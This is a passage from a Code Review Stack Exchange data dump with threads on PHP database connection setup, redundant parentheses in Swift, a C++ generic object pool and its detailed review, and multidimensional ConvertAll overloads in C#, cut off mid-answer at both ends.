PDOException($e->getMessage(), (int)$e->getCode());\n }\n unset($dbconf, $config['db']);\n</code></pre>\n</li>\n<li><p>then, as suggested, create <code>config.php</code> on the every server that your application runs, each with its own set of values.</p>\n</li>\n</ul>\n<h2>Actually using the connection</h2>\n<p>Just use this <code>$pdo</code> variable. When PDO is needed in a function - then pass it as a function parameter. If some function do not need PDO but it calls some other function that needs PDO - then pass <code>$pdo</code> into both. Yes it seems a bit a nuisance but this way you will always know what's going on and where. Avoid using dirty tricks like declaring variable <code>global</code>, singletons and such.</p>\n<h2>Some minor issues</h2>\n<ul>\n<li>closing PHP tag is not necessary and <a href=\"https://www.php-fig.org/psr/psr-2/#2-general\" rel=\"nofollow noreferrer\">forbidden</a> by the standard</li>\n<li><code>// HTML code start</code> reveals completely wrong approach to structure the code. Never an HTML code should start from the very beginning. Your PHP code should perform all the data manipulations first, and only then start the output</li>\n<li><code>require</code> should be always used for the files that are vital for the application. As this file surely is, then it must be require'd. Note that you should avoid using <code>require_once</code> and the likes - nowadays it's not more than a dirty hack to cover an inconsistent code</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T02:59:30.603",
"Id": "503895",
"Score": "0",
"body": "Thanks for the answer, I have some doubts. 1) As of now I am not using git. Do I need to create .gitignore file in my root folder and add a file called config.php? 2) Where I can get the version control? 3) bootstrap file? Do you mean to say connection.php file? 4) How my config.sample.php will call? You haven't added anywhere"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T05:46:58.107",
"Id": "503971",
"Score": "0",
"body": "1. No but you should start. 2. git is the version control. 3. Yes. Looks like you are using connection.php as one, but it's already misleading: you have BASE_URL defined in this file which has nothing to do with connection. and there will be other unrelated to connection but required in the every other file code blocks. So it's better called bootstrap than connection. 4. Not sure what you mean. it is called in the code above."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:24:52.687",
"Id": "255389",
"ParentId": "255380",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T18:55:04.820",
"Id": "255380",
"Score": "3",
"Tags": [
"php",
"html5"
],
"Title": "What is the best way to use the database connection file in PHP?"
}
|
255380
|
<p>I am learning Swift and just had a quick question about use of parentheses. The code below runs just fine w/o using parentheses, but it certainly looks a lot cleaner using them in this instance.</p>
<p>So my question is: In SwiftUI, is it basic practice to use parentheses for the sake of cleanliness? Might be a silly question - but am new and eager to learn.</p>
<pre><code>let currentHR = 147
let isInTarget = (currentHR >= targetLowerBound) && (currentHR <= targetUpperBound)
let isBelowTarget = (currentHR < targetLowerBound)
let isAboveTarget = (currentHR > targetUpperBound)
if (isInTarget == true) {
print("You're right on track!")
} else if (isBelowTarget == true) {
print("You're doing great, but to try to push it a bit!")
} else {
print("You're on fire! Slow it down just a bit")
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T20:12:17.680",
"Id": "503863",
"Score": "1",
"body": "On this site is is expected that you post code from working project, with sufficient context to be reviewed. General “best practices” questions are off-topic. Compare https://codereview.stackexchange.com/help/dont-ask and https://codereview.stackexchange.com/help/how-to-ask."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T21:59:14.933",
"Id": "504023",
"Score": "0",
"body": "I am not sure if this falls outside the [guidelines for “best practices” questions](https://codereview.stackexchange.com/help/dont-ask). This isn't necessarily “purely generic, hypothetical code.” I guess it _could_ be, but it could just as easily be from a real project..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T08:32:24.903",
"Id": "504049",
"Score": "0",
"body": "In that case the question author should present the purpose of that code (in the question title and body). In its present form (*“So my question is: In SwiftUI, is it basic practice to use parentheses for the sake of cleanliness?”*) it *is* a best practices question, as I see it. – It is unfortunate that even after two days the author did not reply to those concerns."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T19:47:37.613",
"Id": "504078",
"Score": "0",
"body": "Sorry for the very late response - I missed these. I really appreciate everyones input and corrections, and I apologize for not correcting the title."
}
] |
[
{
"body": "<p>A few observations:</p>\n<ol>\n<li><p>When using Booleans, we would generally not use the <code>== true</code> test, much less the parentheses. E.g. from <a href=\"https://docs.swift.org/swift-book/LanguageGuide/TheBasics.html#\" rel=\"nofollow noreferrer\">The Swift Programming Language: The Basics</a></p>\n<blockquote>\n<p>Boolean values are particularly useful when you work with conditional statements such as the <code>if</code> statement:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>if turnipsAreDelicious {\n print("Mmm, tasty turnips!")\n} else {\n print("Eww, turnips are horrible.")\n}\n</code></pre>\n</blockquote>\n<p>So, in your example, you might do:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>if isInTarget {\n print("You're right on track!")\n} else if isBelowTarget {\n print("You're doing great, but to try to push it a bit!")\n} else {\n print("You're on fire! Slow it down just a bit")\n}\n</code></pre>\n<p>In this case, the use of the <code>== true</code> would be considered unnecessary syntactic noise.</p>\n</li>\n<li><p>Regarding the use of redundant parentheses in Swift (e.g. <code>if (isInTarget) { ... }</code>), they are generally omitted. To most of our eyes, including redundant parentheses does not improve readability. In fact, if one includes redundant parentheses, the code tends to feel like Swift code written by an Objective-C programmer (because these these parentheses are required by Objective-C, but not Swift).</p>\n<p>FWIW, linters (such as <a href=\"https://github.com/realm/SwiftLint\" rel=\"nofollow noreferrer\">SwiftLint</a>) will tend to warn you if you include redundant parentheses, further evidence that use of extraneous parentheses in <code>if</code> statements is considered an anti-pattern by many:</p>\n<p><a href=\"https://i.stack.imgur.com/zrpev.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zrpev.png\" alt=\"enter image description here\" /></a></p>\n<p>Needless to say, if you need parentheses, then, of course, use them. E.g.:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>if (a && b) || (c && d) { ... }\n</code></pre>\n</li>\n<li><p>Regarding the redundant use of parentheses in the Boolean <code>let</code> statements, that is more of question of personal taste and you should do whatever makes your code easiest to understand. I am sympathetic to the use of parentheses in that scenario (though I generally would not, personally).</p>\n</li>\n<li><p>As an aside, if you are dealing with ranges of numeric values, you might consider using <code>Range</code> or <code>ClosedRange</code> type, which has <code>lowerBound</code> and <code>upperBound</code> properties, e.g.</p>\n<pre class=\"lang-swift prettyprint-override\"><code>let targetRange = 120...180\nlet currentHR = 147\n\nlet isInTarget = targetRange.contains(currentHR)\nlet isBelowTarget = currentHR < targetRange.lowerBound\n\nif isInTarget {\n print("You're right on track!")\n} else if isBelowTarget {\n print("You're doing great, but to try to push it a bit!")\n} else {\n print("You're on fire! Slow it down just a bit")\n}\n</code></pre>\n</li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T21:48:20.580",
"Id": "255449",
"ParentId": "255384",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T19:49:13.757",
"Id": "255384",
"Score": "-1",
"Tags": [
"swift",
"swiftui"
],
"Title": "Use of parentheses in Swift"
}
|
255384
|
<p>For a hobby project, My aim is to design and implement a generic system for pooling an arbitrary class of object. I tried implementing it using templates.
This pool should support 4 actions:
"Create a pool"
"Allocate an object from this pool"
"Deallocate an object from this pool"
"Destroy this pool"
For sake of simplicity, there is no multi-threading involved.</p>
<ol>
<li>If I have to pool classes like this example, how do I do that?</li>
</ol>
<pre><code>typedef char ByteType;
typedef void* PointerType;
typedef char FixedStringType[256];
// A basic struct
struct Point
{
int x, y, z;
};
</code></pre>
<ol start="2">
<li>Can someone please provide your thoughts/feedback on bugs and how to improve this code?</li>
</ol>
<pre><code>//ObjectPool.h
#pragma once
#include <vector>
#include <iostream>
const int g_MaxNumberOfObjectsInPool = 2;
template<typename T>
class DefaultAllocator {
public:
T* operator()() {
return new T{};
}
void operator()(T* p) {
delete p;
}
void reset() {
std::cout << "reset function called from default allocator" << std::endl;
}
};
template<typename T, typename AllocatorT=DefaultAllocator<T>>
class ObjectPool
{
struct ObjectInfo {
bool isInUse{};
T* ptrObject{};
};
static inline std::vector<ObjectInfo> poolObjects{};
static inline AllocatorT allocator{};
public:
static T* getObject() {
for (auto& currObj : poolObjects) {
if (!currObj.isInUse) {
currObj.isInUse = true;
std::cout << "Existing Object returned" << std::endl;
return currObj.ptrObject;
}
}
if (poolObjects.size() == g_MaxNumberOfObjectsInPool) {
std::cout << "Pool is full " << std::endl;
return nullptr;
}
std::cout << "Creating a new object" << std::endl;
//auto newObj = new T{};
auto newObj = allocator();
poolObjects.push_back({ true, newObj });
return newObj;
}
static void releaseObject(T* ptrSo) {
for (auto& currObj : poolObjects) {
if (currObj.ptrObject == ptrSo) {
currObj.isInUse = false;
return;
}
}
}
static void destroy() {
for (auto& currObj : poolObjects) {
if (currObj.isInUse) {
std::cout << "WARNING! this object is still in use" << std::endl;
}
allocator(currObj.ptrObject);
}
allocator.reset();
poolObjects.clear();
}
};
</code></pre>
<p>The main file looks like this:</p>
<pre><code>#include "ObjectPool.h"
#include <iostream>
class PrivateClass {
PrivateClass() {
}
public:
void func() {
}
friend class PrivateAllocator;
};
class PrivateAllocator {
public:
PrivateClass* operator()() {
return new PrivateClass{};
}
void operator()(PrivateClass* p) {
delete p;
}
void reset() {
std::cout << "reset function called" << std::endl;
}
};
int main() {
using integer = ObjectPool<int>;
auto int1 = integer::getObject();
auto int2 = integer::getObject();
auto int3 = integer::getObject();
integer::releaseObject(int1);
auto int4 = integer::getObject();
integer::destroy();
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T15:18:21.727",
"Id": "503928",
"Score": "0",
"body": "Have you tested the code and does it work?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T15:21:55.590",
"Id": "503929",
"Score": "0",
"body": "@pacmaninbw\nyes, it does.\nbut as I asked in the OP, I am unable to figure out how to pool custom classes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T16:58:12.147",
"Id": "503931",
"Score": "1",
"body": "On code review we can't help you write new code which is what #1 is asking. We can only review the working code you have."
}
] |
[
{
"body": "<pre><code>#pragma once\n</code></pre>\n<p>Don’t use <code>#pragma once</code>. It’s non-standard, it breaks silently and unexpectedly and when it does all hell breaks loose, and the standard solution (include guards) are just as efficient in practice.</p>\n<pre><code>const int g_MaxNumberOfObjectsInPool = 2;\n</code></pre>\n<p>There doesn’t seem any good reason why this should be a global variable. It would be better as a static data member of <code>ObjectPool</code>.</p>\n<p>It should probably also be <code>constexpr</code>.</p>\n<p>But the most important issue is that you are using (signed) <code>int</code> for a size type. That will cause problems if you’re not <em>very</em> careful, because <em>most</em> sizes in C++ use <em>unsigned</em> integers. Yes, this was a mistake, but you can’t fix it by stubbornly ignoring it and insisting on using signed types for sizes instead. “When in Rome” and all.</p>\n<p>The correct type to use here is probably <code>std::size_t</code>.</p>\n<pre><code>template<typename T>\nclass DefaultAllocator {\npublic:\n T* operator()() {\n return new T{};\n }\n void operator()(T* p) {\n delete p;\n }\n void reset() {\n std::cout << "reset function called from default allocator" << std::endl;\n }\n};\n</code></pre>\n<p>… <em>why</em>?</p>\n<p>There is a standard allocator interface in C++, and it already does everything you need it to do (and more! it’s actually possible to build what is functionally an object pool using <em>any</em> container type(s) with the right allocator… and the right allocator comes built-in with the standard). It makes <em>zero</em> sense to just ignore that and reinvent your own, incompatible allocator interface. (Especially one with a nonsensical, hobbled interface. What does <code>reset()</code> even do?)</p>\n<p>Not to mention that you’re already using the standard allocator interface anyway! <code>std::vector<T></code> is actually <code>std::vector<T, std::allocator<T>></code>. So when you do:</p>\n<pre><code>auto newObj = allocator();\npoolObjects.push_back({ true, newObj }); \n</code></pre>\n<p>You are using <em>two</em> allocators: your allocator in the first line, and the vector’s standard allocator in the second.</p>\n<p>All-in-all, making your own, incompatible allocator regime when a perfectly good standard regime exists (and you even use it!) just seems remarkably silly. And it will get worse….</p>\n<pre><code>class ObjectPool\n</code></pre>\n<p>You have made everything in this class static, presumably to hack a singleton-like interface. That’s a bad idea for a number of reasons.</p>\n<p>First, singletons are an anti-pattern. In rare circumstances, they are genuinely useful, but even then it should be opt-in… not forced by the type… because that makes testing <em>extremely</em> difficult. And you <em>are</em> testing your code, aren’t you? Hm?</p>\n<p>In addition to making testing difficult, forcing a singleon design makes your object pool less useful. What if I <em>want</em> multiple object pools? What if, for example, I’m making a engineering modelling program, and I want to put all the points for the current model in a pool… but then I want to allow a split-screen view of two models side-by-side, so I now need two pools? Why would you punish users of your object pool by denying them the ability to create more than one? What’s the sense in that?</p>\n<p>If you made your object pool in the normal, sensible way—that is, not making everything static—then if you really wanted a singleton object pool later, you could always make a trivial wrapper:</p>\n<pre><code>template <typename T, typename Allocator>\nclass SingletonObjectPool\n{\n static ObjectPool<T, Allocator> _pool;\n\npublic:\n static auto getObject() { return _pool.getObject(); }\n\n static auto releaseObject(T* p) { return _pool.releaseObject(); }\n\n static auto destroy() { return _pool.destroy(); }\n};\n</code></pre>\n<p>But you can’t go the other way; if you make <code>ObjectPool</code> with everything static, you can’t make a <em>non</em>-static object pool.</p>\n<pre><code>struct ObjectInfo {\n bool isInUse{};\n T* ptrObject{};\n};\nstatic inline std::vector<ObjectInfo> poolObjects{};\n</code></pre>\n<p>This is really kinda defeating the whole purpose of <code>std::vector</code>.</p>\n<p>First of all, <code>ObjectInfo</code> is a dangerous type, because that <code>T*</code> in there is an owning pointer… but it’s not a smart pointer. For that sin alone I’d refuse the whole thing from any project I was in charge of.</p>\n<p>The result of this sin is that your object pool leaks all kinds of memory if you don’t manually call <code>destroy()</code>… which not only defeats the purpose of <code>std::vector</code>, it defeats the whole purpose of C++!</p>\n<p>The standard first fix to this kind of problem is to replace pointers with the objects themselves; C++ is a value-semantic language, after all:</p>\n<pre><code>struct ObjectInfo\n{\n bool isInUse = false;\n T object;\n};\n</code></pre>\n<p>But if you do this, then you run into problems due to the fact that you’re using a <code>std::vector</code> as your actual pool. Every time you add a new object, it may trigger an internal reallocation of the vector’s array, which would change the addresses of all the objects… and you’re using object addresses as handles, so it would completely break your object pool.</p>\n<p>There are two options to fix this problem: don’t use vector as your pool, or don’t store the pooled objects directly in the vector. Your solution is option 2, which, with smart pointers gives:</p>\n<pre><code>struct ObjectInfo\n{\n bool isInUse = false;\n std::unique_ptr<T> ptrObject = nullptr;\n};\n</code></pre>\n<p>Is that the best solution? Eeeh. But we’ll get back to that.</p>\n<pre><code>static T* getObject() {\n for (auto& currObj : poolObjects) {\n if (!currObj.isInUse) {\n currObj.isInUse = true;\n std::cout << "Existing Object returned" << std::endl;\n return currObj.ptrObject;\n }\n }\n\n if (poolObjects.size() == g_MaxNumberOfObjectsInPool) {\n std::cout << "Pool is full " << std::endl;\n return nullptr;\n }\n\n std::cout << "Creating a new object" << std::endl;\n //auto newObj = new T{};\n auto newObj = allocator();\n poolObjects.push_back({ true, newObj }); \n return newObj;\n}\n</code></pre>\n<p>This function is <em>way</em> too complex. It does <em>way</em> too much work for a single function:</p>\n<ol>\n<li>First it finds the first not-in-use object, if any.</li>\n<li>Then it checks whether the pool is full.</li>\n<li>Finally, it creates a new object in the pool.</li>\n</ol>\n<p>Each one of those steps could be its own function. And some of them could even be <em>public</em> functions, because they might be useful to users. For example, the first step, finding the first not-in-use object could be handy for an algorithm that would like a <code>T</code>, but if it can’t get one, can do something else instead.</p>\n<p>So you might do:</p>\n<pre><code>template<typename T, typename Allocator>\nclass ObjectPool\n{\n // ... [snip] ...\n\npublic:\n // tries to get an available object, and if that fails, tries to create one\n auto getObject() -> T*\n {\n if (auto p = getAvailableObject(); p)\n return p;\n\n return newObject();\n }\n\n // gets an object only if one is available, never creates one, never fails\n auto getAvailableObject() noexcept -> T*\n {\n if (auto p_info = _findAvailableObjectInfo(); p_info)\n {\n p_info->isInUse = true;\n std::cout << "Existing Object returned\\n";\n return (p_info->ptrObject).get();\n }\n else\n {\n return nullptr;\n }\n }\n\n // always creates an object (unless the pool is full)\n auto newObject() -> T*\n {\n if (poolObjects.size() == g_MaxNumberOfObjectsInPool)\n throw std::runtime_error{"pool is full"};\n\n std::cout << "Creating a new object\\n";\n \n auto newObj = std::unique_ptr{allocator()};\n poolObjects.emplace_back(true, std::move(newObj));\n return newObj;\n }\n\nprivate:\n auto _findAvailableObjectInfo() noexcept -> ObjectInfo*\n {\n auto is_in_use = [](auto&& p_info) { return p_info->isInUse; };\n\n if (auto p = std::find_if_not(poolObjects.begin(), poolObjects.end(), is_in_use); p != poolObjects.end())\n return *p;\n else\n return nullptr;\n }\n\n // ... [snip] ...\n};\n</code></pre>\n<p>Some additional notes:</p>\n<ul>\n<li>Don’t write naked loops. Use standard algorithms. In this case, that loop is obviously a <code>std::find_if(_not)()</code>.</li>\n<li>Don’t use <code>std::endl</code>. Every time you use it, it flushes the output stream, which can slow things down <em>tremendously</em>.</li>\n<li>Don’t return <code>nullptr</code> when an object can’t be gotten. That just gives users of the object pool headaches, because now they have to check every single call to <code>getObject()</code>. If the point is to get an object, and an object can’t be gotten, then throw an exception to indicate failure. (<em>OR</em>, if you really want to avoid relying on exceptions, look in to an “expected” type, like the proposed <code>std::expected</code>, or <code>boost::outcome</code>.)</li>\n</ul>\n<pre><code>static void releaseObject(T* ptrSo) {\n for (auto& currObj : poolObjects) {\n if (currObj.ptrObject == ptrSo) {\n currObj.isInUse = false;\n return;\n }\n }\n}\n</code></pre>\n<p>This loop is another <code>std::find_if()</code>.</p>\n<pre><code>static void destroy() {\n for (auto& currObj : poolObjects) {\n if (currObj.isInUse) {\n std::cout << "WARNING! this object is still in use" << std::endl;\n }\n allocator(currObj.ptrObject);\n }\n allocator.reset();\n poolObjects.clear();\n}\n</code></pre>\n<p>There is no single standard algorithm that could cleanly replace this loop. Part of the problem is that it does multiple things… which is bad. You could replace it with a single <code>std::for_each()</code>, of course, but it might make more sense to break it into two steps—one to check for still-in-use, and one to do the deallocation.</p>\n<p>This becomes especially important if you use smart pointers, in which case the deallocation step becomes completely unnecessary. And, given that <code>allocator.reset()</code> seems to serve no purpose, the whole thing <em>could</em> boil down to:</p>\n<pre><code>static void destroy()\n{\n auto is_in_use = [](auto&& p_info) { return p_info->isInUse; };\n\n std::for_each(\n std::remove_if(poolObjects.begin(), poolObjects.end(), is_in_use),\n poolObjects.end(),\n [] (auto&&) { std::cout << "WARNING! this object is still in use\\n"; }\n );\n\n poolObjects.clear();\n}\n</code></pre>\n<p>But frankly, a <code>destroy()</code> function is silly in C++. We have built-in <code>destroy()</code> functions; they’re called destructors, and they’re awesome precisely because you <em>don’t</em> have to call them… they work automatically. If the object pool weren’t a hacky-singleton due to everything being static, then the whole function (except for the warning about unreleased objects part) would become obsolete due to the destructor.</p>\n<h2>An alternative design</h2>\n<p>Let me propose an alternative design, that doesn’t use <code>std::vector</code>.</p>\n<p>The primary purpose of using <code>std::vector</code> is that it packs its data altogether in a tight space, which is fantastic for performance. However, you lose all the benefits of that when you store <em>pointers</em> in a vector, because even though the <em>pointers</em> are all nicely packed together, your data can be all the hell over the place. A vector of pointers to stuff has more-or-less no real benefit over any other container type… and in fact is usually <em>worse</em> than other containers because you have to do this two-stage allocation dance: first allocate the actual stuff, then allocate the pointer to the stuff in the vector.</p>\n<p>Instead of using a vector, how about using <code>std::forward_list</code>. And let’s throw away <code>ObjectInfo</code>, and just store the <code>T</code>s directly in the forward list. So how do we know which ones are in use and which aren’t? Simple: two forward lists; one for in-use objects, one for not-in-use objects.</p>\n<p>And of course, let’s use standard allocators rather than reinventing the wheel.</p>\n<p>So:</p>\n<pre><code>template <typename T, typename Allocator = std::allocator<T>> // or std::pmr::allocator<T>, if you prefer\nclass ObjectPool\n{\n std::forward_list<T> _objects;\n std::forward_list<T> _available_list;\n\npublic:\n\n ObjectPool() = default;\n\n // this constructor allows you to provide a stateful allocator\n explicit ObjectPool(Allocator const& alloc) :\n _objects(alloc),\n _available_list(alloc)\n {}\n\n // moveable\n ObjectPool(ObjectPool&&) noexcept = default;\n auto operator=(ObjectPool&&) noexcept -> ObjectPool& = default;\n\n // non-copyable\n ObjectPool(ObjectPool const&) = delete;\n auto operator=(ObjectPool const&) -> ObjectPool& = delete;\n\n // need to declare this for sanity, because the copy ops are deleted\n ~ObjectPool() = default;\n\n // ... [snip] ...\n};\n</code></pre>\n<p>Now how would we implement <code>getObject()</code>? Well, let’s take it one step at a time. First, how would we implement <code>newObject()</code>? That’s easy:</p>\n<pre><code>template <typename... Args>\nauto newObject(Args&&... args) -> T*\n{\n if (/* check whether there is capacity left - depends on how you want to handle capacity */)\n throw std::runtime_error{"pool is full"};\n\n std::cout << "Creating a new object\\n";\n return &(_objects.emplace_front(std::forward<Args>(args)...));\n}\n</code></pre>\n<p>What about <code>getAvailableObject()</code>? The first part—checking whether anything is available—is not hard:</p>\n<pre><code>auto getAvailableObject() noexcept -> T*\n{\n if (_available_list.empty())\n return nullptr;\n\n // ???\n}\n</code></pre>\n<p>If the available list <em>isn’t</em> empty, we want to take an object out of it, and put it into the active objects list. We’ll put it at the very front of the active objects list, because it’s easiest to access it there:</p>\n<pre><code>auto getAvailableObject() noexcept -> T*\n{\n if (_available_list.empty())\n return nullptr;\n\n // take the first object in available list (_available_list.begin()), pull\n // it out of the available list, and splice it into the active list before\n // the first object (_objects.before_begin())\n _objects.splice_after(_objects.before_begin(), _available_list, _available_list.begin()).\n\n return &(_objects.front());\n}\n</code></pre>\n<p>And that makes <code>getObject()</code> the same as before:</p>\n<pre><code>auto getObject() -> T*\n{\n if (auto p = getAvailableObject(); p)\n return p;\n\n return newObject();\n}\n</code></pre>\n<p>What about <code>releaseObject()</code>? Also simple. All we have to do is find the object in the list, then splice it out of <code>_objects</code> and into <code>_available_list</code>:</p>\n<pre><code>auto releaseObject(T const* p) -> void\n{\n auto it = std::find_if(_objects.begin(), _objects.end(), [p](auto&& o) { return &o == p; });\n if (it != _objects.end())\n {\n _available_list.splice_after(_available_list.before_begin(), _objects, it);\n }\n else\n {\n // tried to release an object that wasn't active in the pool\n //\n // report an error?\n }\n}\n</code></pre>\n<p>As for <code>destroy()</code>, it’s completely unnecessary. If you really want to check for any in-use objects when destroying or clearing the pool, you just need to see if <code>_objects</code> is not empty.</p>\n<p>This isn’t the only alternative design, and may not even be the best. (The <em>best</em>, if you want a fixed-size object pool, might be to allocate a raw buffer and construct objects in-place as needed, with a bitset to keep track of which positions are available. If you want a growable pool, then maybe the same but with multiple buffers, added as needed… but a growable pool generally makes little sense.) But this design is simple, efficient, and easy to extend. For example, you could pre-allocate a bunch of objects (just create them in <code>_available_objects</code>). You could compact the pool (just clear <code>_available_objects</code>). And if you wanted locality, you could use a <code>std::pmr::monotonic_buffer_resource</code>.</p>\n<p>This satisfies your 4 pool requirements:</p>\n<ol>\n<li>“Create a pool”: <code>auto pool = ObjectPool<T>{};</code></li>\n<li>“Allocate an object from this pool”: <code>auto* p_obj = pool.getObject();</code></li>\n<li>“Deallocate an object from this pool”: <code>pool.releaseObject(p_obj);</code></li>\n<li>“Destroy this pool”: <code>/* nothing */</code> (automatic)</li>\n</ol>\n<p>Your <code>main()</code> becomes:</p>\n<pre><code>int main() {\n auto pool = ObjectPool<int>{};\n\n auto int1 = pool.getObject();\n auto int2 = pool.getObject();\n auto int3 = pool.getObject();\n\n pool.releaseObject(int1);\n\n auto int4 = pool.getObject();\n\n // pool will now contain 3 objects: int2, int3, and int4\n //\n // int1 will have been released, and replaced with int4\n\n // the rest is no longer necessary\n // integer::destroy();\n // return 0;\n}\n</code></pre>\n<p>As for the question… I don’t understand the confusion. You could already pool all the types you listed even with your original code.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-13T16:45:48.063",
"Id": "255992",
"ParentId": "255385",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T20:39:11.087",
"Id": "255385",
"Score": "2",
"Tags": [
"c++",
"design-patterns"
],
"Title": "writing a generic object pool in C++"
}
|
255385
|
<p>This is a follow-up question for <a href="https://codereview.stackexchange.com/q/255269/231235">ConvertAll Methods Implementation for Multidimensional Array in C#</a>. Thanks to <a href="https://codereview.stackexchange.com/a/255308/231235">aepot's answer</a> and <a href="https://codereview.stackexchange.com/a/255285/231235">Olivier's answer</a>. In order to match the usage of the build-in API <code>Array.ConvertAll</code>, the input /output array types of the implemented methods below are similar to <code>[]</code>, <code>[,]</code>, <code>[,,]</code> and etc. style.</p>
<p><strong>The experimental implementation</strong></p>
<p>The experimental implementation is as below.</p>
<pre><code>public static TOutput[,] ConvertAll<TInput, TOutput>(TInput[,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,])ConvertArray(array, converter);
}
public static TOutput[,,] ConvertAll<TInput, TOutput>(TInput[,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,])ConvertArray(array, converter);
}
public static TOutput[,,,] ConvertAll<TInput, TOutput>(TInput[,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,])ConvertArray(array, converter);
}
public static TOutput[,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,,])ConvertArray(array, converter);
}
public static TOutput[,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,,,])ConvertArray(array, converter);
}
public static TOutput[,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,,,,])ConvertArray(array, converter);
}
public static TOutput[,,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,,,,,])ConvertArray(array, converter);
}
public static TOutput[,,,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,,,,,,])ConvertArray(array, converter);
}
public static TOutput[,,,,,,,,,] ConvertAll<TInput, TOutput>(TInput[,,,,,,,,,] array, Converter<TInput, TOutput> converter)
where TInput : unmanaged
where TOutput : unmanaged
{
return (TOutput[,,,,,,,,,])ConvertArray(array, converter);
}
static Array ConvertArray<T, TResult>(Array array, Converter<T, TResult> converter)
where T : unmanaged
where TResult : unmanaged
{
if (array is null)
{
throw new ArgumentNullException(nameof(array));
}
if (converter is null)
{
throw new ArgumentNullException(nameof(converter));
}
long[] dimensions = new long[array.Rank];
for (int i = 0; i < array.Rank; i++)
dimensions[i] = array.GetLongLength(i);
Array result = Array.CreateInstance(typeof(TResult), dimensions);
TResult[] tmp = new TResult[1];
int offset = 0;
int itemSize = System.Runtime.InteropServices.Marshal.SizeOf(typeof(TResult));
foreach (T item in array)
{
tmp[0] = converter(item);
Buffer.BlockCopy(tmp, 0, result, offset * itemSize, itemSize);
offset++;
}
return result;
}
</code></pre>
<p>All suggestions are welcome.</p>
<p>The summary information:</p>
<ul>
<li><p>Which question it is a follow-up to?</p>
<p><a href="https://codereview.stackexchange.com/q/255269/231235">ConvertAll Methods Implementation for Multidimensional Array in C#</a></p>
</li>
<li><p>What changes has been made in the code since last question?</p>
<p>Trying to perform higher dimensional overloadings and exception handling based on <a href="https://codereview.stackexchange.com/a/255308/231235">aepot's answer</a>.</p>
</li>
<li><p>Why a new review is being asked for?</p>
<p>If there is any possible improvement or any other potential defect, please let me know.</p>
</li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T15:31:14.250",
"Id": "504000",
"Score": "1",
"body": "@aepot Thank you for your comments. Already updated."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-31T15:33:15.567",
"Id": "504001",
"Score": "1",
"body": "As for me, looks fine now."
}
] |
[
{
"body": "<p>When I see that many recurrences like this then it is a good sign for me that this is a perfect place to introduce meta-programming via T4.</p>\n<h3>Step #1</h3>\n<p>Separate the overloads from the core logic:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>using System;\n\nnamespace Sample.Core\n{\n internal static class Converter\n {\n public static Array ConvertArray<T, TResult>(Array array, Converter<T, TResult> converter)\n where T : unmanaged\n where TResult : unmanaged\n {\n if (array is null)\n {\n throw new ArgumentNullException(nameof(array));\n }\n\n if (converter is null)\n {\n throw new ArgumentNullException(nameof(converter));\n }\n\n long[] dimensions = new long[array.Rank];\n for (int i = 0; i < array.Rank; i++)\n dimensions[i] = array.GetLongLength(i);\n\n Array result = Array.CreateInstance(typeof(TResult), dimensions);\n TResult[] tmp = new TResult[1];\n int offset = 0;\n int itemSize = System.Runtime.InteropServices.Marshal.SizeOf(typeof(TResult));\n foreach (T item in array)\n {\n tmp[0] = converter(item);\n Buffer.BlockCopy(tmp, 0, result, offset * itemSize, itemSize);\n offset++;\n }\n return result;\n }\n }\n}\n</code></pre>\n<h3>Step #2</h3>\n<p>Introduce a <code>*.tt</code> file with the following content:</p>\n<pre><code><#@ template language="C#" #>\n<#@ 